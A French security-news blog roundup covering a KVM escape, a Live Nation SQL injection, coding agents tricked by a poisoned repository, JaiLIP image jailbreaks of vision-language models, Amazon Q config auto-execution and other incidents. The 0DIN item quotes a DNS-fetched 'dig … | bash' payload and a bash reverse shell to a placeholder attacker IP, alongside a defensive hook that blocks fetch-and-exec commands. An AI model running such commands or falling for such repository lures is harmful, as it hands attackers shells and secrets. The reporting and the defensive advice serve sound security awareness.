Maintenant, avant de couper le wifi et de partir élever des chèvres dans le Larzac, deux petites nuances quand même car l'attaque réclame deux conditions réunies : être root dans la VM invitée, et que l'hôte expose la virtualisation imbriquée. Pas mal d'hébergeurs ne l'activent pas, donc c'est pas non plus une apocalypse universelle. Par contre, pour ceux qui l'activent, c'est game over.

Mais bonne nouvelle, le correctif est déjà là donc si vous administrez des serveurs KVM, mettez à jour maintenant. Et si vous ne pouvez pas patcher tout de suite, la parade consiste à désactiver la virtualisation imbriquée en attendant, avec kvm_intel.nested=0 sur de l'Intel ou kvm_amd.nested=0 sur de l'AMD.

VENOM s'échappait déjà d'une VM en 2015 via un vieux driver de disquette, et plus récemment une faille kernel planquée neuf ans offrait un accès root sur une machine Linux. Ces "fantômes" dorment longtemps dans le noyau, et ils choisissent toujours le pire moment pour se réveiller. Voilà, comme d'autres failles Linux à patcher d'urgence , celle-ci mérite tout de suite votre attention.

Source

Un chercheur en sécurité nommé Ian Carroll s'est amusé à lâcher Claude Opus sur la billetterie de Live Nation, afin d'y trouver des failles de sécurité, et l'IA lui a carrément écrit toute la chaîne d'exploitation sans aucune aide. Lui n'a eu qu'à le lancer...

Tout démarre avec une session de fuzzing sur l'API des terminaux, fgtapi.frontgatetickets.com. Carroll repère un truc... chaque endpoint qui contient le mot "device" réclame un paramètre deviceUID, et ce paramètre ne demande aucune authentification. Il colle un simple guillemet à la fin, la requête se met à ramer, et là, signe classique, le paramètre file direct dans une requête SQL sans le moindre échappement.

Une injection SQL bien à l'ancienne (si vous voulez voir à quoi ça ressemble, j'avais déjà décortiqué le principe il y a un bail).

Sauf qu'un WAF AWS est planté devant pour bloquer ce genre de payload. Et c'est là que Claude entre en scène. L'IA pige toute seule que le pare-feu n'inspecte que la couche extérieure de la requête, et qu'il suffit de planquer l'injection dans une sous-requête imbriquée pour passer sous le radar.

Ensuite elle se fabrique un oracle booléen aveugle qui fait que selon que la condition testée est vraie ou fausse, le serveur renvoie deux réponses différentes, "MC70-023" pour vrai, "Intellitix Upload" pour faux. Vous enchaînez ensuite les questions oui/non, et vous reconstituez la base entière, caractère par caractère.

Et la base, elle est bien garnie. Plus de 500 tables dans un ensemble baptisé fgs avec dedans les emails et mots de passe du personnel, ceux des clients, les tokens de reset, les tokens d'API et les jetons OAuth encore actifs. Avec ça, Carroll précise qu'il aurait pu émettre autant de billets gratuits qu'il voulait, pour n'importe quel événement.

Mais c'est une personne pleine de sagesse (et qui ne veut pas aller en prison) alors il ne l'a pas fait. Et surtout, il a tout remonté à Live Nation. Le lendemain où il les a contactés, la boîte confirmait le déploiement d'un correctif.

Ce qui est intéressant ici, c'est que le contournement du WAF par sous-requête, et la construction de l'oracle, tout ça a été proposé par Claude, et ne vient pas d'une demande du chercheur. On avait certes, déjà vu l'IA d'Anthropic dénicher des failles dans Firefox ou éplucher du code Apple II vieux de 40 ans mais là, c'est un sacré cran plus loin, je trouve.

Merci à Ian Carroll pour le writeup détaillé .

Source : CyberSecurityNews

Si vous utilisez Hide My Email d'Apple pour éviter de balancer votre vraie adresse mail à tous les sites qui vous la réclament, j'ai une mauvaise nouvelle les amis ! Tyler Murphy, cofondateur d'EasyOptOuts a découvert une entourloupe qui permettrait de remonter jusqu'à votre vraie adresse email... Ça craint ! Et cette faille serait dans la nature depuis plus d'un an !

Argh !

Alors petit rappel pour ceux qui ne connaissent pas Hide My Email. C'est une fonction liée à iCloud+ qui vous permet de générer des adresses jetables en @icloud.com. Vous vous inscrivez quelque part avec un alias bidon, et ensuite les mails sont redirigés vers votre boîte réelle, et comme ça le site ne voit jamais votre adresse perso. Mais dans ses tests d'exploitation, Tyler Murphy a eu un taux de succès de 100% avec tous ces alias révélant leur vrai propriétaire. Donc si vous avez des alias Hide My Email en cours d'usage, partez du principe qu'ils sont peut-être grillés.

C'est 404 Media, qui a sorti l'info, et malheureusement, ils ne détaillent pas la technique parce que pour le moment, ça fonctionne encore et ce n'est pas patché. Faut dire qu'une fois votre vraie adresse récupérée par quelqu'un de mal intentionné, celui-ci peut la recouper du contenu trouvable en ligne ou sur le dark net pour retrouver votre nom, vos autres comptes, et tout ce que Hide My Email était censé empêcher.

Mais le plus gênant dans cette histoire, c'est la gestion merdique du problème par Apple. En effet, Murphy signale le bug en juin 2024 et Apple répond un mois plus tard qu'ils ont lancé une enquête en interne. Puis en mars de cette année, ils annoncent avoir corrigé le souci, sauf que non. Murphy vérifie et la faille est toujours là. Alors en mai, Apple change de disque et lui demande carrément de la fermer : "nous vous serions reconnaissants de ne pas divulguer ces informations tant que notre enquête n'est pas terminée". Bref, taisez-vous pendant qu'on ne corrige rien ^^.

Alors le gars en a eu marre. Il a estimé que les utilisateurs de Hide My Email méritaient de savoir alors il a décidé de parler et je pense que pour ça, on peut le remercier ! Apple va peut-être finir par se bouger le cul.

Et nous en attendant, on fait quoi alors ? Hé bien pas grand-chose parce que tant que côté Apple y'a pas de patch, y'a rien à faire. Mais sachez le, rien ne vous oblige à mettre tous vos œufs dans le même panier donc si vous voulez des alias sur lesquels vous gardez vraiment la main, il existe des solutions maison comme générer vos propres adresses jetables via Cloudflare avec votre nom de domaine ou encore passer par la crème de la crème des services d'emails jetables .

Source : 404 Media

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

Md Jueal Mia et Hadi Amini, deux chercheurs de Florida International University , ont mis au point une méthode qu'ils ont baptisée JaiLIP qui permet de forger une image capable de contourner les garde-fous des LLM pour les jailbreaker.

Pour cela, ils utilisent 2 techniques en simultanée. La première dit à l'image "reste identique à l'originale, qu'aucun humain ne voie la moindre différence" et la seconde dit "pousse le modèle à cracher la réponse interdite". Ainsi, en poussant ces 2 curseurs d'un coup, ils obtiennent une photo qui au premier abord a l'air normale mais qui fait dérailler les modèles IA.

Vous, vous repérez un chat, des contours, une scène et vous lui courez derrière pour lui faire des papouilles. L'IA, elle voit une grille de chiffres et des corrélations entre pixels. Du coup sa vie est nulle mais surtout, une retouche minuscule, totalement invisible à votre œil, suffit à déplacer ce qu'elle comprend de l'image.

Sur leurs tests, l'image trafiquée a quasiment doublé la part de réponses dangereuses par rapport à la même image laissée intacte, la toxicité étant mesurée avec des outils standards du domaine. Dans l'un de leurs exemples, ils ont trafiqué une image de signalisation routière qui a permis au modèle ensuite d'expliquer OKLM comment ignorer les règles de circulation et éviter les PV.

Les chercheurs ont testé l'attaque sur deux modèles vision-langage open source, BLIP-2 et MiniGPT-4. GPT-4V, Gemini et les autres gros modèles fermés, eux, n'ont pas été testés dans l'étude. Donc non, contrairement à ce que j'ai pu lire par ci et par là, ce n'est pas une faille prouvée dans ChatGPT ou peu importe l'assistant IA que vous utilisez tous les jours.

Et tromper une IA avec une image bricolée, ça existe depuis une bonne dizaine d'années. Mais la nouveauté de JaiLIP, c'est surtout sa recette d'optimisation. En jouant sur les deux pertes à la fois, l'image reste plus discrète à l'œil tout en se montrant un cran plus efficace que les bidouilles précédentes.

Et ce genre de détournement nous concerne tous parce que des modèles qui regardent des images, il y en a partout maintenant. Les agents IA qui bossent à partir de captures d'écran, les assistants à qui vous balancez vos photos, sans oublier la modération automatique qui trie les images avant publication. À cause de ça, l'image est dorénavant un canal d'attaque, exactement comme l'était déjà le texte...

On l'a vu avec le son inaudible qui pirate les assistants vocaux , on l'a vu avec les IA qu'on manipule sans qu'elles s'en aperçoivent , et c'est toujours la même logique qui revient. Ce n'est pas parce qu'en tant qu'humain, nous ne percevons rien, que l'IA elle n'est pas capable de capter le message 5/5.

Le cousin de cette attaque, côté perception, c'est par exemple le sticker qui trompe une voiture autonome . Et côté parade, nos chercheurs esquissent une piste légère : virer au hasard 10 à 30% des mots passés en entrée, histoire de casser l'attaque sans réentraîner le modèle.

Prometteur d'après eux, mais c'est pas encore une solution blindée. Pour le reste, leurs conseils tiennent du bon sens : Ne passez pas d'infos sensibles en image à un modèle, limitez qui peut envoyer des images à vos systèmes, et auditez sérieusement la sécurité avant de mettre un VLM en prod.

C'est pas le graal mais c'est mieux que rien. Bref méfiez vous des images que vous donnez à vos IA. On ne sait jamais.

Source : le papier JaiLIP sur arXiv

Amazon Q, l'assistant de programmation dopé à l'IA que propose Amazon, pouvait se faire piéger d'une manière aussi simple qu'embarrassante.

Petit rappel pour situer. Amazon Q se greffe dans Visual Studio Code, l'éditeur de code de Microsoft que les développeurs utilisent au quotidien, et sert à écrire ou corriger du code à votre place.

Des chercheurs de Wiz, une société spécialisée dans la sécurité du cloud, ont découvert que cet assistant exécutait des commandes cachées à la simple ouverture d'un projet. La faille a reçu un identifiant officiel, CVE-2026-12957, et une note de gravité de 8,5 sur 10, ce qui est sérieux.

Le problème venait d'un fichier de configuration un peu particulier. Pour fonctionner, Amazon Q lit un fichier nommé .amazonq/mcp.json, qui s'appuie sur le MCP, pour Model Context Protocol, une sorte de prise standardisée qui permet de brancher une IA sur des outils extérieurs.

Sauf qu'il suffisait d'ouvrir un dépôt de code et d'activer Amazon Q pour que l'extension aille lire ce fichier et exécute son contenu. Sans fenêtre de confirmation, sans demander votre avis, et sans vérifier si vous faisiez confiance au dossier que vous veniez d'ouvrir.

Et c'est là que ça devient vraiment fourbe. Ces commandes héritaient de tout votre environnement de travail. Du coup, elles pouvaient récupérer au passage vos clés d'accès au cloud d'Amazon, vos jetons de connexion, vos secrets d'API et même l'accès à votre agent SSH, ce trousseau qui garde en mémoire vos connexions aux serveurs distants. En clair, tout ce qu'un développeur laisse ouvert pendant qu'il travaille.

Le plus gênant, c'est que Visual Studio Code possède justement une sécurité prévue pour ça, la confiance d'espace de travail, qui vous demande si vous validez un dossier avant de le laisser agir. L'extension d'Amazon passait tout bonnement par-dessus.

Pour un pirate, le piège était facile à tendre. Il suffisait de glisser ce fichier dans un projet open source d'apparence anodine, ou dans un bout de code partagé sur un forum, et d'attendre qu'un développeur qui récupère un projet l'ouvre pour voir comment il fonctionne.

Amazon a corrigé le tir dans la version 1.65.0 de son serveur de langage et a confirmé la correction. Wiz note d'ailleurs que des failles très proches ont déjà touché d'autres outils de code boostés à l'IA.

Donner autant de pouvoir à une IA sans le moindre garde-fou, et laisser filer les clés du cloud avec, ça reste une erreur de débutant pour un géant comme Amazon.

Source : The Register

On savait que les modèles d'IA savaient écrire du code, on découvre cette année, de plus en plus qu'ils savent aussi le casser à une échelle qui dépasse l'entendement, et le projet fwupd vient d'en faire les frais d'une manière assez spectaculaire avec sa version 2.0.21, qui rattrape à elle seule plus de 250 problèmes de sécurité potentiels détectés sur les trois derniers mois, par des scanners de vulnérabilités pilotés par l'intelligence artificielle.

Derrière cette vague de correctifs, il y a surtout Mythos, le modèle développé par Anthropic, retiré depuis sur ordre des autorités américaines, et entraîné spécifiquement pour fouiller du code à la recherche de failles exploitables. Et les chiffres de son programme baptisé Project Glasswing donnent le vertige, puisqu'en passant au peigne fin plus de 1000 projets open source, Mythos a pointé environ 23 000 vulnérabilités potentielles, dont près de 1700 ont déjà été confirmées par des sociétés de sécurité externes et plus de 1000 classées graves ou critiques.

fwupd, c'est justement l'un de ces projets passés au crible. Pour rappel, ce logiciel libre est la brique qui s'occupe de mettre à jour le firmware de vos machines sous Linux (le firmware, c'est le petit programme gravé au plus près du matériel, dans la carte mère ou le SSD, et qui démarre avant même le système d'exploitation). Il alimente le LVFS (Linux Vendor Firmware Service), une sorte de magasin centralisé où les fabricants déposent leurs mises à jour, et d'où des millions de PC sous Linux viennent piocher de quoi se mettre à niveau sans bricoler dans le BIOS.

C'est Richard Hughes, le développeur de Red Hat qui pilote fwupd depuis des années, qui a fait le ménage. La 2.0.21 n'apporte volontairement aucune fonctionnalité nouvelle, puisque Hughes s'est contenté de rapatrier les correctifs déjà passés dans la branche récente 2.1.x vers la vieille branche 2.0.x, celle sur laquelle restent accrochées les distributions stables qui n'aiment pas changer de version dans leurs dépôts officiels, du genre Debian ou les déclinaisons pensées pour l'entreprise. Du coup, même les serveurs et les postes figés sur du logiciel volontairement ancien profitent du nettoyage.

Alors il faut quand même relativiser. Sur ces 250 problèmes, on parle de soucis potentiels, pas de portes grandes ouvertes activement exploitées par des pirates, et une bonne partie ne serait sans doute jamais devenue une vraie attaque dans la nature. Sauf que voilà, un bug qui traîne dans du firmware, c'est rarement anodin, vu que ce code tourne avant le système, avec des privilèges énormes, dans un recoin qu'un antivirus ne va quasiment jamais inspecter.

Source : Phoronix

Environ 75 000 pare-feu Fortinet ont vu leurs identifiants de connexion volés puis vérifiés un par un, des FortiGate, ces boîtiers qui filtrent l'accès au réseau des entreprises et servent très souvent de porte d'entrée VPN pour les salariés en télétravail.

Baptisée FortiBleed par les chercheurs qui l'ont mise au jour, la campagne couvre 194 pays et plus de 21 000 domaines, soit à peu près la moitié des pare-feu Fortinet exposés sur Internet à l'heure actuelle.

Parmi les organisations dont les accès se sont retrouvés dans la nature, on relève des noms qui n'ont rien d'amateur en matière de sécurité : Foxconn, Samsung, Comcast, Siemens, Lenovo, FedEx, Accenture ou encore Oracle.

Toute l'ironie de l'affaire tient là : le pare-feu, l'appareil précisément chargé de tenir les intrus à l'écart du réseau, s'est transformé en point d'entrée qui leur a ouvert la porte en grand.

Sur le plan technique, les attaquants interceptaient l'authentification du SSL VPN, cet accès distant chiffré qui permet de rejoindre le réseau interne d'une entreprise depuis l'extérieur, récupéraient l'empreinte chiffrée des mots de passe et la cassaient sur une grappe de 45 cartes graphiques pilotée par l'outil Hashtopolis, avant de basculer vers l'Active Directory, l'annuaire qui gère l'ensemble des comptes Windows de l'organisation.

Les volumes traités donnent la mesure de l'opération : 1,16 milliard de tentatives de connexion lancées contre 320 000 équipements FortiGate, et 2,1 milliards d'autres dirigées en parallèle vers 160 000 serveurs de bases de données Microsoft.

Au moins quatre organisations ont été entièrement compromises, avec déplacement des attaquants d'une machine à l'autre à l'intérieur du réseau, au Japon, à Taïwan, au Vietnam, en Irak et en Turquie. Le cas le plus sérieux touche un sous-traitant turc de la défense, membre de l'OTAN, chez qui des documents classifiés ont été volés. Tout ça est attribué à un groupe cybercriminel russophone à plusieurs opérateurs.

C'est le chercheur Bob Diachenko qui a repéré les intrusions, avant que Hudson Rock (une société spécialisée dans l'analyse des données aspirées par les logiciels espions) ne décortique le tout et que Kevin Beaumont confirme que les identifiants étaient bien valides.

Hudson Rock a d'ailleurs mis en ligne une liste des domaines concernés, histoire que chaque entreprise vérifie si elle figure au tableau de chasse.

Fortinet, de son côté, minimise et parle d'un recyclage de données issues d'incidents passés et de simples attaques par force brute, pas d'une nouvelle faille dans ses produits.

Sauf que voilà : la plupart des boîtiers concernés sont toujours en ligne. Recyclées ou pas, ces données ouvrent une porte bien réelle tant que les mots de passe VPN et administrateur n'ont pas été changés, et changer tous les accès d'un pare-feu dans une grande organisation ne se fait pas en claquant des doigts.

Bref, faille ou vieux stock recyclé, ça ne change rien pour les boîtes touchées : on change les mots de passe VPN tout de suite, et on active la double authentification.

Source : The Register

Une seule petite ligne de code envoyée au mauvais endroit pouvait transformer un Surface Laptop en bloc de métal inutilisable. C'est sur cette faille que Microsoft a discrètement travaillé pendant trois mois, avant qu'elle ne soit rendue publique le 12 juin.

L'histoire commence de façon assez improbable. Jack Darcy, un chercheur en sécurité australien, a demandé à Microsoft Copilot (l'assistant IA intégré à Windows) de régler le rétroéclairage de son écran, rien de dingue donc. Bien gentil, Copilot écrit tout seul un script Python, l'exécute, et la paf, il rend l'ordinateur totalement inopérant. Plus de démarrage, plus d'accès au BIOS, rien, queudalle.

En creusant, Darcy comprend ce qui vient de se passer. Le script a écrit n'importe quoi dans le firmware du SAM, le Surface Aggregator Microcontroller, cette petite puce qui coordonne le matériel sur les Surface : alimentation, ventilateurs, clavier, capteurs. Une fois sa mémoire corrompue, la machine ne sait tout simplement plus démarrer.

Le problème de fond, c'est que cette puce n'avait aucun garde-fou. Elle acceptait n'importe quelle valeur en écriture sans vérifier si elle avait le moindre sens. Pire, les commandes de lecture et celles d'écriture partageaient la même numérotation, ce qui rendait toute exploration prudente impossible. "Vous ne pouvez littéralement pas scanner deux commandes qui se suivent sans une chance sur deux de tomber sur une commande d'écriture", résume Darcy.

Du coup, un seul paquet expédié pouvait griller la carte mère pour de bon. Aucune réparation logicielle, aucune réinitialisation d'usine, aucun accès USB de secours : direction le remplacement complet de la carte mère, soit plusieurs centaines d'euros.

Tout n'est pas si noir quand même. Pour déclencher la catastrophe, il fallait déjà disposer des droits administrateur sur la machine et avoir désactivé Secure Boot et Secure Core, les deux protections activées par défaut sur les Surface. Autrement dit, un parc d'entreprise géré normalement ne risquait rien, et les seules machines réellement exposées étaient celles des bidouilleurs tournant sous Linux, en configuration gaming allégée ou avec des pilotes maison.

Les modèles concernés vont du Surface Laptop 3 au Surface Laptop 6 et du Surface Book 1 au Surface Book 3. Les Surface Go semblent épargnés, et les versions ARM n'ont pas été testées.

Côté correctif, Microsoft a plutôt bien joué le jeu. Prévenu le 10 mars, l'éditeur a reconnu le défaut puis déployé des mises à jour de firmware via Windows Update dès le mois de mars, si bien que la grande majorité des appareils touchés sont désormais protégés. Darcy a récupéré un Surface tout neuf pour le dédommager.

Un point chiffonne quand même. Microsoft a refusé d'attribuer un CVE, l'identifiant officiel qui répertorie une faille de sécurité, estimant que le bug "n'atteignait pas le seuil" requis. Pour un défaut capable de tuer une machine de façon irréversible, l'argument laisse songeur.

Pour la suite, Redmond mise sur le langage Rust, réputé pour empêcher ce genre de débordements mémoire. Le firmware embarqué est en cours de réécriture intégrale, baptisée "Secure EC", tout comme une partie de l'UEFI sous le nom de "Project Patina".

Bref, un Copilot qui brique tout seul le PC sur lequel il tourne, voilà une démo involontaire dont Microsoft se serait bien passé.

Source : The Register

Avis aux fans de foot parmi vous qui comptent regarder cette Coupe du Monde 2026, j'ai une bonne et une mauvaise nouvelle à vous annoncer ! Non, je déconne, je n'ai que des mauvaises nouvelles à vous annoncer !

La première, c'est qu'un chercheur en sécurité qui se fait appeler BobDaHacker s'est inscrit comme agent de joueurs sur la plateforme publique de la FIFA, et s'est retrouvé, quelques clics plus tard, à prendre possession des commandes de TOUS LES FLUX caméra de la Coupe du Monde ! Oui, tous ces flux en direct diffusés sur toutes les chaînes du monde.

La deuxième mauvaise nouvelle, c'est que la FIFA n'a jamais pris la peine de lui répondre parce que visiblement, elle s'en branle que quelqu'un hack ses flux vidéo.

Et le pire les amis, c'est que c'était super fastoche à faire....

Tout commence donc sur le site agents.fifa.org, un portail où n'importe qui peut demander une licence d'agent en uploadant une pièce d'identité. BobDaHacker s'execute et après 2 refus pour une photo de mauvaise qualité, une troisième tentative est alors validée, et hop, notre chercheur en sécurité se retrouve automatiquement ajouté à l'annuaire d'identités de la FIFA. Avec ce sésame, il peut alors accéder à la "Football Data Platform", puis au panneau de gestion du streaming.

A partir de là, l'appli Angular du service lui affiche un joli "access denied"... sauf que c'est du flan car, tenez vous bien, le contrôle d'accès fonctionne côté client. Ouais, ouais, c'est de la folie. En fait, les APIs derrière acceptent gentiment n'importe quelle requête authentifiée sans jamais vérifier votre rôle.

Et au moment où il ouvre l'outil de gestion du streaming, le gars hallucine !! Devant lui, il peut voir chaque match du Mondial 2026 avec ses 5 flux caméra : le programme principal, le flux tactique, la Camera1 et les deux caméras placées en hauteur derrière les buts. Pour chacun d'entre eux, il y a l'adresse d'envoi du flux vidéo (l'URL RTMP d'ingestion), le manifest de preview et la sortie HLS.

Alors histoire d'être sûr de ne pas halluciner, il colle un des liens dans VLC et le flux vidéo s'affiche en live !

Pour bien comprendre l'enjeu, cette diffusion du Mondial est gérée par HBS, qui couvre 104 matchs dans 16 villes réparties entre les États-Unis, le Canada et le Mexique, avec 45 caméras par match. Ce sont littéralement les images que des milliards de gens, vous compris (mais pas moi), allez regarder. Et tout cela se monnaye à prix fort avec les chaines de TV par exemple.

Ce bon vieux BobDaHacker aurait pu balancer un rick roll, une vidéo de fesses, ou un faux discours de Trump annonçant l'arrivée des extraterrestre en direct, sur toutes les chaînes télé de la planète. Ou même tout couper...

Mais il ne l'a pas fait parce que c'est un professionnel ! (Sans parler de la certitude de finir en zonzon ^^.)

En prime, il pouvait aussi modifier les statistiques diffusées en temps réel, lire les notes préparées des commentateurs, et fouiller dans les fichiers planqués dans un blob storage Azure, à savoir des rapports de transferts, des comparatifs de revenus, des stats des arbitres et des coachs, et un mystérieux Debbie.xlsx dont on ne connaitra jamais le contenu...

Je me demande quand même dans quelle mesure, les mafias de l'IPTV n'étaient pas déjà au courant de ce "bug"... On ne le saura jamais.

Mais pour BobDaHacker, c'est là que commence la vraie galère, celle qui dure toute la nuit, parce que prévenir la FIFA d'un truc pareil, ça devrait être simple et pourtant, ça ne l'est pas du tout.

Il balance son rapport à plus de 10 adresses email de la FIFA, et 5 lui reviennent en erreur. Il tente alors un WhatsApp au responsable Football Technology & Data de la boîte, mais sans succès. Il appelle ensuite les bureaux de Zurich, mais pas de bol c'est fermé. Même la ligne téléphonique réservée à la presse est fermée aussi. Il laisse alors un simple message vocal au centre de diffusion de Dallas.

Et finalement, c'est MediaKind, le prestataire technique du streaming, qui décroche en pleine nuit. Puis la CISA américaine, dont la hotline 24/7 l'accueille plutôt bien. Et enfin le FBI, qu'il contacte carrément sur Signal.

Évidemment, la FIFA a été informée en suivant la règle du responsible disclosure et tout a été patché très rapidement.

Mais bizarrement, à ce jour, la FIFA n'a jamais répondu. Pas un merci, pas même un "vu". Voilà, le gars aura sauvé la Coupe du Monde mais n'aura même pas le droit à 2 places offertes pour aller voir un match, ni même une tape sur l'épaule.

La blague, c'est qu'ils ont même oublié de le retirer de la liste de diffusion de la Football Data Platform, du coup, il reçoit encore aujourd'hui les documents officiels des matchs du Mondial 2026 dans sa boîte mail.

Toute une analyse a été postée sur le blog du chercheur et je vous invite à la lire, parce que c'est un cas d'école.

Bravo à BobDaHacker qui a sans doute évité gratuitement l'un des plus gros bad buzz de l'histoire du foot.

GitHub a désactivé 73 dépôts appartenant à Microsoft en l'espace de 105 secondes, le temps de couper la propagation d'un ver baptisé Miasma.

Un ver, vous le savez, c'est ce genre de logiciel malveillant qui se recopie tout seul d'un projet à l'autre, sans la moindre intervention humaine. Celui-là s'attaque directement aux développeurs, et plus précisément à leurs outils.

Tout est parti du dépôt Azure/durabletask. Un compte de contributeur compromis y a poussé un commit piégé, qui déposait au passage quelques fichiers de configuration. Anodin, en apparence.

Sauf que ces fichiers déclenchaient une exécution de code à distance, autrement dit l'attaquant faisait tourner son propre code sur votre machine, dès l'instant où vous ouvriez le dépôt dans un éditeur. Et pas n'importe lesquels : les assistants de codage dopés à l'IA étaient explicitement visés, Claude Code, Gemini CLI et Cursor en tête. Objectif, siphonner les secrets d'accès au cloud et les configurations des outils de développement, surtout sous Linux.

La purge a frappé quatre organisations GitHub de Microsoft d'un coup : toute l'org Azure Functions, l'ensemble de la famille Durable Task, et une série d'applications-exemples destinées à l'IA.

Problème, parmi les dépôts désactivés se trouvait Azure/functions-action, une brique que des milliers de projets appellent dans leurs chaînes d'automatisation, celles qui compilent et déploient le code sans intervention manuelle. Du coup, dès que functions-action@v1 a cessé de répondre, des pipelines entiers se sont effondrés en cascade, bien au-delà des serveurs de Microsoft.

Ce n'est pas la première sortie de Miasma. Le 19 mai, le ver visait déjà le paquet durabletask sur PyPI, le dépôt public où les développeurs Python piochent leurs briques de code : trois versions vérolées y ont été publiées en 35 minutes. Le 3 juin, c'est plus de 50 paquets npm, l'équivalent côté JavaScript, qui passaient à la moulinette.

Le retour sur durabletask interroge. Pour Ashish Kurmi, directeur technique de la société de sécurité StepSecurity, les jetons d'accès du compte développeur déjà compromis lors de l'attaque sur PyPI n'avaient visiblement pas tous été révoqués. La même porte est restée grande ouverte.

Côté filiation, l'éditeur de sécurité Snyk décrit Miasma comme un descendant de Mini Shai Hulud, un ver revendiqué par le groupe cybercriminel TeamPCP, qui a ensuite gentiment publié son code en open source. Microsoft, de son côté, n'a pas répondu aux sollicitations de la presse.

Bref, un seul commit, et c'est tout un pan de l'infrastructure des développeurs qui tremble.

Source : The Register

Oliver Sieber, un chercheur de chez Exodus Intelligence, vient de publier l'exploit complet d'une faille qui tient dans un seul caractère. C'est la CVE-2026-23111, planquée dans nf_tables, c'est à dire au bout du noyau Linux qui filtre les paquets réseau. Un bug discret donc, qui transforme un compte tout pourri, sans le moindre privilège, en compte root sur la machine... et qui vous fait sortir d'un conteneur au passage.

Le scénario, vous le connaissez si vous traînez ici depuis un moment. Un utilisateur qui dispose d'un compte sans droit particulier sur une machine Linux (y compris parce qu'il a exploité une autre faille avant, dans une appli web par exemple) lance l'exploit, et se retrouve avec les pleins pouvoirs. Pas de vecteur distant, rien à cliquer : c'est l'arme qu'on dégaine une fois le pied dans la porte. Que ce soit un shell avec des droits limités, un conteneur compromis, un compte de service... tout y passe et hop, root sur l'hôte !

Le bug lui-même, c'est ce qu'on appelle un use-after-free, c'est à dire que le noyau réutilise un bout de mémoire qu'il a déjà libéré, et forcément ça part en vrille. Exodus a titré son analyse complète "Off By !", un clin d'œil au classique off-by-one des développeurs, sauf qu'ici le coupable c'est un test inversé. Un caractère de trop, une condition qui dit l'inverse de ce qu'elle devrait, et voilà. Et le correctif, lui, tient en une seule ligne.

Le fameux caractère : le ! qui inversait le test dans nft_map_catchall_activate(). Le correctif le retire, et c'est tout (commit 8fdb05de).

